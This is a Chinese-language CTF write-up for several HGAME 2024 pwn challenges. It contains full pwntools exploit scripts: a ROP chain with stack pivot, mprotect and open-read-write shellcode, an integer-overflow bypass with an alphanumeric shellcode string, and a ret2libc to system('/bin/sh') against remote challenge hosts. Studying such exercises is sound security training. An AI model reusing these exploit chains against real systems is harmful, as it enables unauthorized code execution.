Elden Ring I
可执行文件直接运行会显示没有这个文件,patchelf
换一下libc
和ldd
就好了
开了沙箱,禁用execve
只能orw
,由于没有可执行段所以还要mprotect
创建一段可读写执行的空间
seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
检查保护,地址随机化
checksec pwn
[*] '/home/starrysky/game_2024/hgame/ring/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
选一段写入并执行shellcode
,我选的是0x404100
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x3fd000 0x400000 rw-p 3000 0 /home/starrysky/game_2024/hgame/ring/pwn
0x400000 0x401000 r--p 1000 3000 /home/starrysky/game_2024/hgame/ring/pwn
0x401000 0x402000 r-xp 1000 4000 /home/starrysky/game_2024/hgame/ring/pwn
0x402000 0x403000 r--p 1000 5000 /home/starrysky/game_2024/hgame/ring/pwn
0x403000 0x404000 r--p 1000 5000 /home/starrysky/game_2024/hgame/ring/pwn
0x404000 0x405000 rw-p 1000 6000 /home/starrysky/game_2024/hgame/ring/pwn
函数很短,可以利用的空间也短,只能溢出0x30
,去掉rbp
就是0x28
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
puts("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\\n");
return read(0, buf, 0x130uLL);
}
所以需要栈迁移到buf
的起始位置
总结一下:需要调用mprotect
给0x404100
权限,所以需要泄露libc
调用mprotect
需要栈迁移到输入的起始位置,所以需要泄露栈地址
给`0x404100`权限后向该地址写入`shellcode`实现`orw`再返回到这个地址
写的时候可能有一些细节问题,慢慢调试就好,也可能我写的复杂了
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('47.100.137.175', 30511)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
libc = ELF('./2.31/libc-2.31.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x00000000004013e3
addr = 0x40125B
p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(addr)
r.sendafter(b'you an accord.', p)
libc_base = u64(r.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00')) - libc.sym['puts']
read_addr = libc.sym['read'] + libc_base
bss = 0x404100
pop_rsi_r15_ret = 0x00000000004013e1
environ = libc_base + libc.sym['__environ']
p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(environ) + p64(puts_plt) + p64(addr)
r.sendafter(b'you an accord.', p)
stack = u64(r.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00')) - 0x1e8
leave_ret = 0x401290
pop_rdx_ret = 0x0000000000142c92 + libc_base
mprotect = libc_base + libc.sym['mprotect']
p = p64(pop_rdi_ret) + p64(0x404000) + p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0) + p64(pop_rdx_ret) + p64(7) + p64(mprotect)
p += p64(pop_rdi_ret) + p64(0x0) + p64(pop_rsi_r15_ret) + p64(bss) + p64(0) + p64(pop_rdx_ret) + p64(0x200) + p64(read_addr) + p64(bss)
p = p.ljust(0x100, b'\\x00') + p64(stack - 0x8) + p64(leave_ret)
r.sendafter(b'you an accord.', p)
shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, bss + 0x300, 0x30)
shellcode += shellcraft.write(1, bss + 0x300,0x30)
r.sendline(asm(shellcode))
r.interactive()
ezshellcode
考察的是强制类型转化导致的整型溢出和可见字符shellcode
限制了shellcode
长度,输入的变量是unsigned int
类型,且限制输入的数字不超过两位,比较的时候会强制转化int
类型,输入-1
就会先被强制转化成一个很大的整数,而这个数超过了int
的最大值,所以比较的时候强制转化之后会变成负数从而绕过长度限制
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+Ch] [rbp-14h] BYREF
...
printf("input the length of your shellcode:");
__isoc99_scanf("%2d", &v4);
if ( (int)v4 <= 0xA )
{
printf("input your shellcode:");
myread(v5, v4);
}
...
}
my_read
函数中限制了输入内容必须是可见字符,上网搜一下就好了,https://nuoye-blog.github.io/2020/05/09/dea90f48/#/
unsigned __int64 __fastcall myread(void *a1, unsigned int a2)
{
...
for ( i = 0; i < v5; ++i )
{
v3 = *((_BYTE *)a1 + i);
if ( (v3 <= '`' || v3 > 'z') && (v3 <= '@' || v3 > 'Z') && (v3 <= '/' || v3 > '9') )
{
puts("Invalid character\\n");
exit(1);
}
}
return v6 - __readfsqword(0x28u);
}
最终主要代码只有两行,exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('47.100.137.175', 31445)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter(b'length of your shellcode:', b'-1')
r.sendafter(b'input your shellcode:', b'PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA')
r.interactive()
Elden Random Challenge
解出人数倒数第二的题,一开始就直接写这个了,估计大部分人都从前往后写嘛,虽然最后也没抢到一血,这题难倒没什么难点就是一开始报错不存在这个文件给我琢磨了一会
先检查保护,没有开地址随机化
checksec pwn
[*] '/home/starrysky/game_2024/hgame/random/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
前面99次输入随机数,直接c和python联合编程即可,最后执行到myread
,可以溢出,ret2libc
题目里存在输入name
的本意应该是通过name
覆盖seed
,但是联合c
直接获取时间也很方便
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h] BYREF
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
int v6; // [rsp+18h] [rbp-8h]
unsigned int seed; // [rsp+1Ch] [rbp-4h]
init(argc, argv, envp);
seed = time(0LL);
puts("Menlina: Well tarnished, tell me thy name.");
read(0, buf, 0x12uLL);
printf("I see,%s", buf);
...
}
exp如下
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('47.100.137.175', 31513)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
libc = cdll.LoadLibrary('./2.31/libc-2.31.so')
r.sendafter(b'Menlina: Well tarnished, tell me thy name.', b'\\x00' * 0x12)
seed = 0
libc.srand(seed)
for i in range(99):
v6 = libc.rand() % 100 + 1
r.sendafter(b'Please guess the number:', p64(v6))
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
addr = 0x40125D
pop_rdi_ret = 0x0000000000401423
p = b'a' * 0x38 + p64(0x0000000000401423) + p64(puts_got) + p64(puts_plt) + p64(addr)
r.sendafter(b'brilliant mind.', p)
libc = ELF('./2.31/libc-2.31.so')
libc_base = u64(r.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00')) - libc.sym['puts']
li(hex(libc_base))
one = 0xe3b01 + libc_base
ret = 0x000000000040101a
bin_sh = libc_base + libc.search(b'/bin/sh\\x00').__next__()
system = libc_base + libc.sym['system']
r.send(b'a' * 0x38 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system))
r.interactive()
EzSignIn
直接nc
到远程cat flag
即可